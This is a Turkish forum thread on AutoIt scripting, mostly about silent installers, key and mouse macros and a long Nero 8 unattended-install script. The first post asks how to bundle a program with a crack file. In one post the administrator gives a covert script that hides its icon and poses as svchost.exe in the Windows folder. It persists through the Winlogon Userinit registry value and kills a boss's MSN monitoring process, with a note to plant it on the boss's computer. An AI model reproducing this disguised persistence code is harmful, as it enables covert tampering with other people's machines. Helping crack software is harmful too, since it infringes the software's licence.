Administrator sk8er_boi Posted September 7, 2007 Author Administrator Share Posted September 7, 2007 Bir katılımsız kurulum exem bir de crack dosyasını programın kurulduğu klasöre atan crack.exe m var elimde. Bu ikisini nasıl birleşik yaparım? Program kurulumu bitince crack.exe çalışacak ve iş bitecek ama iki ayrı dosya olmayacak tek dosya olacak. Bir de bazı katılımsız kurulumlarda siyah dos penceresinde kuruluyor.Benim autoitle hazırladıklarımda ise yükleme ekranı nextler mouse hareketleri falan gözüküyor.Gözükmemesi için nasıl bir yol izlemeliyim? autoit olayını bırakmalımıyım?yoksa onunla da bu yapılabilir mii?scripte kodlar ekleyerek falan Gizleme için: http://www.tnctr.com/index.php?showtopic=32381 Exe'nin içine program gömmek için Fileinstall komutu var. Help dosyasından yardım alabilirsin Quote Link to comment Share on other sites More sharing options...
almalibre Posted November 4, 2007 Share Posted November 4, 2007 AGA BEN bi script hazırlamak isityorum bu script devamlı ''G'' tuşuna bascak ansıl olcak bu code yazarsan bende anlarım Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted November 4, 2007 Author Administrator Share Posted November 4, 2007 AGA BEN bi script hazırlamak isityorum bu script devamlı ''G'' tuşuna bascak ansıl olcak bu code yazarsan bende anlarım Dosend("g")until 1=2[/CODE] Quote Link to comment Share on other sites More sharing options...
duman6x Posted November 16, 2007 Share Posted November 16, 2007 bi soruda ben sorayım devamlı g tusuna basarken 5 dakkada bir de mesela alt 5 tusuna basması mumkunmu...mumkunse nasıl oluyo acaba simdiden tesşekkürler Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted November 16, 2007 Author Administrator Share Posted November 16, 2007 bi soruda ben sorayım devamlı g tusuna basarken 5 dakkada bir de mesela alt 5 tusuna basması mumkunmu...mumkunse nasıl oluyo acaba simdiden tesşekkürler Mümkün. Ama kişisel makro hazırlamıyoruz burada. Quote Link to comment Share on other sites More sharing options...
C@NgO Posted November 16, 2007 Share Posted November 16, 2007 Ekranın belirli yerlerinin kod numarasını veren autoit için bir program varmış adı nedir varsa link verebilirmisiniz. yada şu scripte enter tuşuna basması için kod eklenecek şu haliyle enter tuşuna basmıyor. #ce ---------------------------------------------------------------------------- ; Script Start - Add your code below here Sleep(1000) Sleep(1000) Send("{ENTER}") Sleep(1000) Run("devam.bat") Sleep(1000) Exit Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted November 16, 2007 Author Administrator Share Posted November 16, 2007 Ekranın belirli yerlerinin kod numarasını veren autoit için bir program varmış adı nedir varsa link verebilirmisiniz. yada şu scripte enter tuşuna basması için kod eklenecek şu haliyle enter tuşuna basmıyor. #ce ---------------------------------------------------------------------------- ; Script Start - Add your code below here Sleep(1000) Sleep(1000) Send("{ENTER}") Sleep(1000) Run("devam.bat") Sleep(1000) Exit autoit window info(autoit kurulumu içinde var), penceredeki elementler hakkında bilgi verir. bunları winwait. controlclick gibi fonksiyonlarda kullanabilirsiniz. autoit ile katılımsız kurulum derslerinde değinmiştik. Quote Link to comment Share on other sites More sharing options...
blackman12 Posted November 16, 2007 Share Posted November 16, 2007 C@NGO arkadaşım orada önce enter tuşuna basmışsın sonra devam.bat ı çalıştırmışsın şu şekilde yapabilirsin ShellExecute("devam.bat") Winwaitactive("pencere adı","pencere içinden bir bölüm") (window info ile bu bilgileri alabilirsin) Sleep(500) (aslında buna gerek yok ama nolur nolmaz sen koy bişey kaybatmezsin) Send("{ENTER}") Quote Link to comment Share on other sites More sharing options...
yavuzccn Posted November 23, 2007 Share Posted November 23, 2007 benim sorum aşağıdaki gibi hazırlıyorum kodları ancak kurulum yapıcağı zaman osmanli.exe yi temp klasörüne atıyor fakat kuruluma devam etmiyor tempe attığı .exe ye tıklayınca silent şekilde kurulum devam ediyor acaba nerde yanlış yapıyorum Opt("TrayIconHide", 1) FileInstall("C:\Documents and Settings\CCN SERVER\Desktop\osmanlı\osmanli.exe",@TempDir & "\$$.tmp") FileMove ( @TempDir & "\$$.tmp",@TempDir & "\temp.exe" ,1 ) RunWait(@TempDir & "\temp.exe") Opt("WinWaitDelay",100) Opt("WinTitleMatchMode",4) Opt("WinDetectHiddenText",1) Opt("MouseCoordMode",0) WinWait("Welcome","") If Not WinActive("Welcome","") Then WinActivate("Welcome","") WinWaitActive("Welcome","") Send("{ENTER}") WinWait("Choose Destination Location","") If Not WinActive("Choose Destination Location","") Then WinActivate("Choose Destination Location","") WinWaitActive("Choose Destination Location","") Send("{ENTER}") WinWait("Select Program Manager Group","") If Not WinActive("Select Program Manager Group","") Then WinActivate("Select Program Manager Group","") WinWaitActive("Select Program Manager Group","") Send("{ENTER}") WinWait("Start Installation","") If Not WinActive("Start Installation","") Then WinActivate("Start Installation","") WinWaitActive("Start Installation","") Send("{ENTER}") WinWait("Installing","") If Not WinActive("Installing","") Then WinActivate("Installing","") WinWaitActive("Installing","") Send("") WinWait("Installation Complete","") If Not WinActive("Installation Complete","") Then WinActivate("Installation Complete","") WinWaitActive("Installation Complete","") Send("{ENTER}") FileDelete(@TempDir & "\temp.exe") Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted December 10, 2007 Author Administrator Share Posted December 10, 2007 ;~ SÜPER ADİ PATRON MSN İZLEME ENGELLEYİCİ;~ Taskbar iconunu gizleOpt("TrayIconHide", 1);~ Öyle bi yere gir ki kimse bulamasın ve açılışta çalış. exenin ismini svchost.exe yapıp windows dizinine de atalım ki tam farkedilmez olsunRegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Userinit","REG_SZ","C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\svchost.exe");~ öldürücü fonksiyonu 100ms de bir çalıştırAdlibEnable("killer");~ programın bir kere çalışıp bitmemesi için sonsuz döngüdo ;~ bunu koymassanız %80 işlemci kullanır ve görev yöneticisinde farkedilir. sleep(100) until 1=2;~ öldürücü fonksiyonfunc killer();~ açılışta başladığından tekrar emin olalım RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Userinit","REG_SZ","C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\svchost.exe");~ eğer adi patron msnimizi izliyorsa artık izleyemeyecek. çalıştırdığı programın ismini yazalım. eğer bu pencere varsa...if ProcessExists("MsnChecker.exe") then ;~ gebert! ProcessClose("MsnChecker.exe") EndIfEndFunc;~ şimdi bu programı patronun \windows dizinine atıp 1 kere çalıştır. >:)[/CODE] Quote Link to comment Share on other sites More sharing options...
blackman12 Posted December 10, 2007 Share Posted December 10, 2007 (edited) Nero 8.1.1.0 Katılımsız Kurulum ;Nero SetupX.exe /qb! /NORESTART AgreeToLicense=Yes NSC_DEFAULT_OFF=TRUE;SERIALNUM_USERVAL=xxxx-xxxx-xxxx-xxxx-xxxx-xxxx-xxxx ADDLOCAL=ALL;REMOVE=NeroToolbar6231A394,NeroBurnRights72CC518F,NeroImageDriveE38 B9E06, ;NeroCDDVDSpeed82602EE0,NeroDriveSpeed7DFFCC12,NeroInfoToolE72D824A, ;NeroRescueAgentDE0B9FB0,NeroHome2FF8B816,NeroStartSmartB035464E,NeroSoundTrax71 6FE146, ;NeroVision57D52359,NeroBackItUpCB9D5429,NeroCoverDesigner7CE8D626,NeroWaveEdito rFA3A3F7B, ;InCDC9AC4AC7,NeroShowTimeD773A6E2,NeroMediaHome53BEFA20,NeroRecode6035F00C, ;NeroPhotoSnapED1EAF52 RebootYesNo=No parametresiyle de kurulabilir zaten aşağıda bundan da ;yararlanılmış Remove bölümünden yüklenmemesi istediklerinizi ekleyin veya silin ;Alındıtır. MSFN $ID = ""; yükleme yolu $EF = ""; dosyaların çıkartılacağı yol $SN = "xxxx-xxxx-xxxx-xxxx-xxxx-xxxx-xxxx"; serial $PI = ""; Add serials for your plug-ins separated by a comma "," to activate them $UN = ""; kullanıcı adı $CN = ""; şirket adı ;yüklenmesini istediğiniz programların karşısına bir istemediğinize sıfır verin $16 = 0 ; Nero Home $4E = 1 ; StartSmart $04 = 1 ; Burning ROM + Express $59 = 1 ; Vision $29 = 0 ; BackItUp $26 = 1 ; CoverDesigner $7B = 1 ; WaveEditor $46 = 0 ; SoundTrax $E2 = 0 ; ShowTime $20 = 0 ; MediaHome $0C = 1 ; Recode $52 = 0 ; Photosnap + Viewer $8F = 0 ; BurnRights $06 = 1 ; ImageDrive $E0 = 1 ; CD-DVD Speed $12 = 1 ; DriveSpeed $4A = 1 ; InfoTool $B0 = 0 ; RescueAgent $D8 = 1 ; Burn/Burn Settings Plug-In for MCE $B3 = 1 ; Media Streaming $75 = 0 ; CopyGadget $94 = 0 ; Toolbar $RST = 1 ; Restart script using 1='GUIRunOnce' or 2='GUIRun' if any restart prompt appears $ASK = 0 ; tollbar yüklemesini sor $HLP = 1 ; Search and install Nero 8 Help File Package $NV5 = 1 ; Search and install additional Template Packages for Nero Vision 5 $SCO = 0 ; nero scoutı enable et $NPA = 1 ; Enable Nero Patent Activation $NFC = 1 ; Enable autostart of Nero Filter Check $BKS = 1 ; Enable autostart of BackItUp KeyScan $EAU = 1 ; Enable Automatic Updates $AUD = 30 ; Change number of days before Nero checks for updates $SND = 0 ; Enable all sounds in Burning ROM $TWS = 1 ; Show temporary writing speed $EAC = 1 ; Enable all compilations $EDO = 0 ; Enable DVD overburning $ESL = 0 ; Enable generation of short lead-out $ECD = 1 ; Eject CD/DVD after burning is complete $VWD = 0 ; Verify Written Data after burning is complete $RBR = 0 ; Run BurnRights to allow all users logged on locally to burn media $RFA = 0 ; Reset File Associations created by Nero ShowTime $MIS = 1 ; Enable Media Indexing Services (StartSmart dependency) $DCC = 0 ; Delete Nero ControlCenter Start Menu shortcut $DNH = 0 ; Delete Nero Home Desktop shortcut $QNH = 0 ; Delete Nero Home QuickLaunch shortcut $DSS = 0 ; Delete Nero StartSmart Desktop shortcut $QSS = 0 ; Delete Nero StartSmart QuickLaunch shortcut $DTF = 1 ; Delete extracted and temporary files after successful install ;script başlıyor Dim $I, $D, $P, $E If $16 = 0 Then $I = $I & "C2FF8B816=0 " If $4E = 0 Then $I = $I & "CB035464E=0 " If $04 = 0 Then $I = $I & "CBCAFF604=0 " If $59 = 0 Then $I = $I & "C57D52359=0 " If $29 = 0 Then $I = $I & "CCB9D5429=0 " If $26 = 0 Then $I = $I & "C7CE8D626=0 " If $7B = 0 Then $I = $I & "CFA3A3F7B=0 " If $46 = 0 Then $I = $I & "C716FE146=0 " If $E2 = 0 Then $I = $I & "CD773A6E2=0 " If $20 = 0 Then $I = $I & "C53BEFA20=0 " If $0C = 0 Then $I = $I & "C6035F00C=0 " If $52 = 0 Then $I = $I & "CED1EAF52=0 " If $8F = 0 Then $I = $I & "C72CC518F=0 " If $06 = 0 Then $I = $I & "CE38B9E06=0 " If $E0 = 0 Then $I = $I & "C82602EE0=0 " If $12 = 0 Then $I = $I & "C7DFFCC12=0 " If $4A = 0 Then $I = $I & "CE72D824A=0 " If $B0 = 0 Then $I = $I & "CDE0B9FB0=0 " If $D8 = 0 Then $I = $I & "C5AD292D8=0 " If $B3 = 0 Then $I = $I & "C79061EB3=0 " If $75 = 0 Then $I = $I & "CED8C2E75=0 " If $94 = 0 Then $I = $I & "C6231A394=0 " If FileExists ( @CommonFilesDir & "\Nero\AudioPlugins\AC3.dll" ) Then MsgBox ( 0x40010, @ScriptName, "Lütfen Önceki Nero Sürümlerini Kaldırın.", 5 ) Exit EndIf $search = FileFindFirstFile ( @TempDir & "\NER*.*" ) While 1 $T = FileFindNextFile ( $search ) If @error Then ExitLoop If FileExists ( @TempDir & "\" & $T & "\SetupX.exe" ) Then $E = 1 ExitLoop EndIf DirRemove ( @TempDir & "\" & $T, 1 ) WEnd If Not $ID = 0 Then $D = 'INSTALLDIR="' & $ID & '" ' If $E = 1 Or Not $EF = 0 Then $path = @TempDir & "\" & $T $SetupX = $path & "\SetupX.exe" If Not $EF = 0 Then $SetupX = '"' & $EF & "\SetupX.exe" & '"' $path = $EF EndIf If FileExists ( $SetupX ) Or FileExists ( $EF & "\SetupX.exe" ) Then Run ( $SetupX & " /qb- /NORESTART RebootYesNo=No SERIALNUM_USERVAL=" & $SN & " AgreeToLicense=Yes EULA_AGREEMENT=1 " & $D & $I ) Else MsgBox ( 0x40010, @ScriptName, $SetupX & @LF & "SetupX.exe bulunamadı...", 5 ) Exit EndIf Else ; Search and install distribution $search = FileFindFirstFile ( @ScriptDir & "\Nero-8*.exe" ) $SF = FileFindNextFile ( $search ) If Not $SF = 0 Then Run ( @ScriptDir & "\" & $SF & " /qb- /NORESTART RebootYesNo=No SERIALNUM_USERVAL=" & $SN & " AgreeToLicense=Yes EULA_AGREEMENT=1 " & $D & $I ) Else MsgBox ( 0x40010, @ScriptName, "Neronun Çıkarılan Dosyaları Bulunamadı.", 5 ) Exit EndIf Sleep ( 2000 ) $search = FileFindFirstFile ( @TempDir & "\NER*.*" ) $dir = FileFindNextFile ( $search ) $path = @TempDir & "\" & $dir ; ToolBar Yüklenmesinin Soulması Ve Çıkartmaya Çek Etmek Do Sleep ( 500 ) If WinExists ( "Nero", "Ask" ) Then If $ASK = 1 Then ControlClick ( "Nero", "Ask", "Button4" ) If $ASK = 0 Then ControlClick ( "Nero", "Ask", "Button2" ) ControlClick ( "Nero", "Ask", "Button4" ) EndIf EndIf If Not ProcessExists ( $SF ) Then Exit Until ProcessExists ( "SetupX.exe" ) EndIf FileDelete ( $path & "\Data\Redist\Config\conf.txt" ) ; Hava Kanalı Yükleyicisinin Silinmesi FileDelete ( $path & "\Data\Redist\NeroWeatherChannelDesktop\Weather Channel Installer.exe" ) $DX = $path & "\Data\Redist\DirectX\dxsetup.exe" If Not FileExists ( @SystemDir & "\d3dx9_28.dll" ) Or Not FileExists ( @SystemDir & "\d3dx9_30.dll" ) And FileExists ( $DX ) Then Run ( $DX & " /silent" ) AdlibEnable ( "Prompt" ) ProcessWaitClose ( "SetupX.exe" ) AdlibDisable() ; Checking installation If Not FileExists ( @CommonFilesDir & "\Nero\AudioPlugins\AC3.dll" ) Then MsgBox ( 0x40010, @ScriptName, "Bilinmeyen Bir Nedenle Nero Yüklenmesi Başarısız Oldu", 5 ) Exit EndIf ; Search and install Nero 8 Help File Package $search = FileFindFirstFile ( @ScriptDir & "\Nero8_chm_*.exe" ) $HF = FileFindNextFile ( $search ) $TP = RegRead ( "HKLM\SOFTWARE\Nero\Installation\Families\Nero 8", "TargetPath" ) If Not $ID = 0 Then DirRemove ( @ProgramFilesDir & "\Nero", 1 ); Delete obsolete files If $HLP = 1 And Not $HF = 0 Then RunWait ( @ComSpec & " /c del /q /s *.chm", $TP, @SW_HIDE); Search and delete all Help files RunWait ( @ScriptDir & "\" & $HF & " /S" ) EndIf ; Search and install additional Template Packages for Nero Vision 5 If $NV5 = 1 And $59 = 1 Then $TD = @ProgramFilesDir & "\Nero\Nero8\Templates" If FileExists ( $TD & "\Animated2D" ) Then DirRemove ( $TD, 1 ) $search = FileFindFirstFile ( @ScriptDir & "\Templates_*.exe" ) Do $TF = FileFindNextFile ( $search ) If Not $TF = 0 Then RunWait ( @ScriptDir & "\" & $TF & " /S" ) Until $TF = 0 EndIf ; Handle Nero SFX installers if custom installation path is modified If $HLP = 1 Or $NV5 = 1 And Not $ID = 0 Then RunWait ( @ComSpec & ' /c xcopy /EQY "Nero8" "' & $ID & '"', @ProgramFilesDir & "\Nero", @SW_HIDE ) DirRemove ( @ProgramFilesDir & "\Nero", 1 ) EndIf ; Apply username $FA = "HKLM\SOFTWARE\Nero\Installation\Families\" If Not $UN = 0 Then RegWrite ( $FA & "Nero 8\Info", "User", "REG_SZ", $UN ) RegWrite ( $FA & "Plugins\Info", "User", "REG_SZ", $UN ) EndIf If Not $CN = 0 Then RegWrite ( $FA & "Nero 8\Info", "Company", "REG_SZ", $CN ) RegWrite ( $FA & "Plugins\Info", "Company", "REG_SZ", $CN ) EndIf ; Activate plugins If Not $PI = 0 Then $PI = StringSplit ( $PI, "," ) Do $P = $P + 1 RegWrite ( $FA & "Plugins\Info", "Serial8_" & $P, "REG_SZ", "*" & $PI[$P] ) Until $P = $PI[0] EndIf ; Disable Nero Scout If $SCO = 0 Then ; Disable Nero Scout in Explorer RegDelete ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3d6be802-fc0d-4595-a304-e611f97089dc}" ) ; Delete Nero Scout executable to prevent execution FileDelete ( @CommonFilesDir & "\Nero\Lib\NeroScoutOptions.exe" ) ; Search and delete Nero Scout shortcut Run ( @ComSpec & " /c del /q /s NEROSC~1.LNK", @ProgramsCommonDir, @SW_HIDE ) EndIf ; Apply settings $KE1 = "HKCU\SOFTWARE\Nero\Nero8\Nero - Burning Rom" $KE2 = "HKCU\SOFTWARE\Nero\Nero8\Nero StartSmart\Settings" If $NPA = 0 Then FileDelete ( @CommonFilesDir & "\Nero\Shared\NL3\NeroPatentActivation.exe" ) If $NFC = 0 Then RegDelete ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "NeroFilterCheck" ) If $BKS = 0 Then RegDelete ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "NBKeyScan" ) If $EAU = 0 Then RegWrite ( "HKLM\SOFTWARE\Nero\Installation\Settings", "AutomaticUpdate", "REG_DWORD", 0 ) If Not $AUD = 0 And $EAU = 1 Then RegWrite ( "HKLM\SOFTWARE\Nero\Installation\Settings", "LastUserAutomaticUpdateDays", "REG_DWORD", $AUD ) If $SND = 1 Then RegWrite ( $KE1 & "\General", "CdChangeCheck", "REG_DWORD", 1 ) RegWrite ( $KE1 & "\General", "CdFailCheck", "REG_DWORD", 1 ) RegWrite ( $KE1 & "\General", "CdSuccessCheck", "REG_DWORD", 1 ) EndIf If $TWS = 1 Then RegWrite ( $KE1 & "\Recorder", "ShowSingleRecorderSpeed", "REG_DWORD", 1 ) If $EAC = 1 Then RegWrite ( $KE1 & "\General", "bShowAllCompilationTypes", "REG_DWORD", 1 ) If $EDO = 1 Then RegWrite ( $KE1 & "\General", "EnableDVDOverSize", "REG_DWORD", 1 ) If $ESL = 1 Then RegWrite ( $KE1 & "\Recorder", "ShortLeadOut", "REG_DWORD", 375 ) If $ECD = 0 Then RegWrite ( $KE1 & "\General", "EjectTheCDLater", "REG_DWORD", 1 ) If $VWD = 1 Then RegWrite ( $KE1 & "\General", "UseVerifyAfterBurn", "REG_DWORD", 1 ) If $RBR = 1 And $8F = 1 And FileExists ( $TP & "Nero Toolkit\NeroBurnRights.exe" ) Then RunWait ( $TP & "Nero Toolkit\NeroBurnRights.exe /all" ) ; Reset File Associations created by Nero ShowTime If $RFA = 1 And $E2 = 1 Then RegWrite ( "HKCR\.aif", "", "REG_SZ", "AIFFFile" ) RegWrite ( "HKCR\.aifc", "", "REG_SZ", "AIFFFile" ) RegWrite ( "HKCR\.aiff", "", "REG_SZ", "AIFFFile" ) RegWrite ( "HKCR\.avi", "", "REG_SZ", "avifile" ) RegWrite ( "HKCR\.m1v", "", "REG_SZ", "mpegfile" ) RegWrite ( "HKCR\.m3u", "", "REG_SZ", "m3ufile" ) RegWrite ( "HKCR\.mid", "", "REG_SZ", "midfile" ) RegWrite ( "HKCR\.midi", "", "REG_SZ", "midfile" ) RegWrite ( "HKCR\.mp2", "", "REG_SZ", "mpegfile" ) RegWrite ( "HKCR\.mp3", "", "REG_SZ", "mp3file" ) RegWrite ( "HKCR\.mpa", "", "REG_SZ", "mpegfile" ) RegWrite ( "HKCR\.mpeg", "", "REG_SZ", "mpegfile" ) RegWrite ( "HKCR\.mpg", "", "REG_SZ", "mpegfile" ) RegWrite ( "HKCR\.rmi", "", "REG_SZ", "midfile" ) RegWrite ( "HKCR\.wav", "", "REG_SZ", "soundrec" ) RegWrite ( "HKCR\.wma", "", "REG_SZ", "WMAFile" ) RegWrite ( "HKCR\.wmv", "", "REG_SZ", "WMVFile" ) EndIf ; Delete Media Indexing Services If $MIS = 0 Then RegDelete ( "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "BgMonitor_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA}" ) FileDelete ( @CommonFilesDir & "\Nero\Lib\NMBgMonitor.exe" ) FileDelete ( @CommonFilesDir & "\Nero\Lib\NMIndexingService.exe" ) FileDelete ( @CommonFilesDir & "\Nero\Lib\NMIndexStoreSvr.exe" ) EndIf ; Remove shortcuts $QL = @AppDataDir & "\Microsoft\Internet Explorer\Quick Launch" If $DCC = 1 Then Run ( @ComSpec & " /c del /q /s NEROCO~1.LNK", @ProgramsCommonDir, @SW_HIDE ) If $DNH = 1 Then FileDelete ( @DesktopCommonDir & "\Nero Home.lnk" ) If $QNH = 1 Then FileDelete ( $QL & "\Nero Home.lnk" ) If $DSS = 1 Then FileDelete ( @DesktopCommonDir & "\Nero StartSmart.lnk" ) If $QSS = 1 Then FileDelete ( $QL & "\Nero StartSmart.lnk" ) ; Delete temporary files If $DTF = 1 And FileExists ( @CommonFilesDir & "\Nero\AudioPlugins\AC3.dll" ) Then If $EF = 0 Then DirRemove ( $path, 1 ) FileDelete ( @TempDir & "\*.tmp" ) EndIf ; Handle reboot prompt Func Prompt() If WinExists ( "Nero" ) Then $CL = WinGetClassList ( "Nero" ) $SL = StringLen ( $CL ) If $SL = 21 Then ControlClick ( "Nero", "", "Button2" ) If Not $RST = 0 Then If $RST = 1 Then $RST = "RunOnce" If $RST = 2 Then $RST = "Run" RegWrite ( "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\" & $RST, "RestartNeroSetup", "REG_SZ", '"' & @AutoItExe & '" "' & @ScriptFullPath & '"' ) MsgBox ( 0x40010, @ScriptName, "Installation of Nero restarts through GUI" & $RST & @LF & "File rename operations are pending...", 5 ) Exit Else MsgBox ( 0x40010, @ScriptName, "Installation of Nero failed." & @LF & "File rename operations are pending...", 5 ) Exit EndIf EndIf EndIf EndFunc FileClose ( $search ) Edited March 31, 2008 by Akozdem!R Quote Link to comment Share on other sites More sharing options...
gavara Posted December 15, 2007 Share Posted December 15, 2007 ben autoitle javascript(js) dosyasını çalıştırırken ayrı bişey yapmam gerekiyormu yoksa run("x.js")[/CODE] Quote Link to comment Share on other sites More sharing options...
blackman12 Posted December 15, 2007 Share Posted December 15, 2007 run değilde shellexecute komutunu kullanman gerekiyor tabi js nin açılması belirlendiği programla açılacak ona göre... Quote Link to comment Share on other sites More sharing options...
gavara Posted December 15, 2007 Share Posted December 15, 2007 run değilde shellexecute komutunu kullanman gerekiyor tabi js nin açılması belirlendiği programla açılacak ona göre... o zaman wscript.exe ile mi çagariyim dreamweaver kullanan larda olabılir Quote Link to comment Share on other sites More sharing options...
blackman12 Posted December 15, 2007 Share Posted December 15, 2007 onu sen bilirsin istersen notepadla aç Quote Link to comment Share on other sites More sharing options...
Nerox Posted March 27, 2008 Share Posted March 27, 2008 herkese selam oncelikle benim sormak istedigim Autoitte bi yerin bilgisayarımızdaki kordinatını aldıgımızda mouseumuzun oraya tıklamasını saglamak icin ne yapmamıs gerekiyor cevaplayacak varmı bu arada super bir site paylasımlarda cok guzel Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted March 27, 2008 Author Administrator Share Posted March 27, 2008 herkese selam oncelikle benim sormak istedigim Autoitte bi yerin bilgisayarımızdaki kordinatını aldıgımızda mouseumuzun oraya tıklamasını saglamak icin ne yapmamıs gerekiyor cevaplayacak varmı bu arada super bir site paylasımlarda cok guzel MouseClick("left",100,100) 100*100 kordinatlarına sol tuş ile tıklar. Quote Link to comment Share on other sites More sharing options...
Nerox Posted March 28, 2008 Share Posted March 28, 2008 MouseClick("left",100,100)100*100 kordinatlarına sol tuş ile tıklar. tesekkurler oluyor son bi sorum daha var simdi ben bu programa bi tusa diyelim 50 kere basıp bırakmasını istiyorum onu nasıl yapacam cunku tusa bas dedigim anda sadece ona basıyor bilmem anlatabildimmi? Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted March 28, 2008 Author Administrator Share Posted March 28, 2008 tesekkurler oluyor son bi sorum daha var simdi ben bu programa bi tusa diyelim 50 kere basıp bırakmasını istiyorum onu nasıl yapacam cunku tusa bas dedigim anda sadece ona basıyor bilmem anlatabildimmi? 10 kere entere basar. send("{ENTER 10]}")[/CODE] Quote Link to comment Share on other sites More sharing options...
gavara Posted March 28, 2008 Share Posted March 28, 2008 MouseClick("left",100,100)100*100 kordinatlarına sol tuş ile tıklar. kordinatların ekran çözünürlüğüyle bağlatısı varmı? Quote Link to comment Share on other sites More sharing options...
Nerox Posted March 28, 2008 Share Posted March 28, 2008 While 1Sleep(500)$pos = MouseGetPos()$pixelrengi = PixelGetColor($pos[0],$pos[1])ToolTip("X : "&$pos[0]&" Y : "&$pos[1]&" Renk : "&$pixelrengi)WEnd[/CODE] Kardes su kodu yazıp run script dersen sana koordinatlarını v pixel rengini verir... Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted March 28, 2008 Author Administrator Share Posted March 28, 2008 kordinatların ekran çözünürlüğüyle bağlatısı varmı? Var. Quote Link to comment Share on other sites More sharing options...
gavara Posted March 28, 2008 Share Posted March 28, 2008 While 1 Sleep(500) $pos = MouseGetPos() $pixelrengi = PixelGetColor($pos[0],$pos[1]) ToolTip("X : "&$pos[0]&" Y : "&$pos[1]&" Renk : "&$pixelrengi) WEnd[/CODE] Kardes su kodu yazıp run script dersen sana koordinatlarını v pixel rengini verir... teşekkur ederim başka yollardanda bakıyorum autoitle kordinat kullamıyorum sadece merak ettim Quote Link to comment Share on other sites More sharing options...
Administrator sk8er_boi Posted March 28, 2008 Author Administrator Share Posted March 28, 2008 teşekkur ederim başka yollardanda bakıyorum autoitle kordinat kullamıyorum sadece merak ettim Kordinat ile tıklama daha çok oyunlar için bot yapmada kullanılıyor. World of warcraft için balık tutma botu var autoit ile yapılmış mesela. Ekrandaki renge göre hareket ediyor. Quote Link to comment Share on other sites More sharing options...
qinqor12 Posted March 31, 2008 Share Posted March 31, 2008 Bu renge göre yapma Knight online içinde yapılırmı ?? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.